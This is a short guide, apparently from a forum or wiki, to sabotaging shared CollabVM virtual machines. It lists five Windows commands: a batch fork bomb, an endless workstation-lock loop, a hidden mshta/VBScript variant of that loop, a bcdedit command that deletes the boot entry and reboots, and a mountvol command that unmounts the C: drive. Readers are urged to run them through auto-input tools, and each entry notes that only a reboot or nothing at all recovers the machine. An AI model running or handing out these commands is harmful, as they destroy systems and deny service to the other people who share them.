Commands that destroy CollabVM virtual machines

To crash the VM, you must execute one of them in the "Run" window or in the command line (cmd). To do this, it is strongly recommended to use auto-input programs.

Windows

1. Classic fork bomb. May be closed.

cmd /c echo %0^|%0>1.bat&1.bat

2. Infinite blocking the windows user + pseudo fork bomb. Unclosable, only reboot helps.

cmd /k for /l %x in (1, 1, 9999999) do (start cmd /k rundll32 user32,LockWorkStation)

3. Hidden infinite blocking the windows user (not a forkbomb). Unclosable, Perfect way to block VM, only reboot helps.

cmd /c mshta vbscript:(CreateObject("WScript.Shell").Run("cmd /k for /l %x in (1, 1, 999999) do rundll32 user32,LockWorkStation """,0))(Window.Close)

4. Delete windows from bootloader and reboot (the system will no longer be able to boot. Run from cmd started as admin (RMB on cmd -> Run as admin).

cmd /k bcdedit /delete {current}&wmic os primary=1 reboot

5. Unmount primary C:\ drive. If you execute this command as admin, users cant interact with VM anymore.

mountvol c: /d
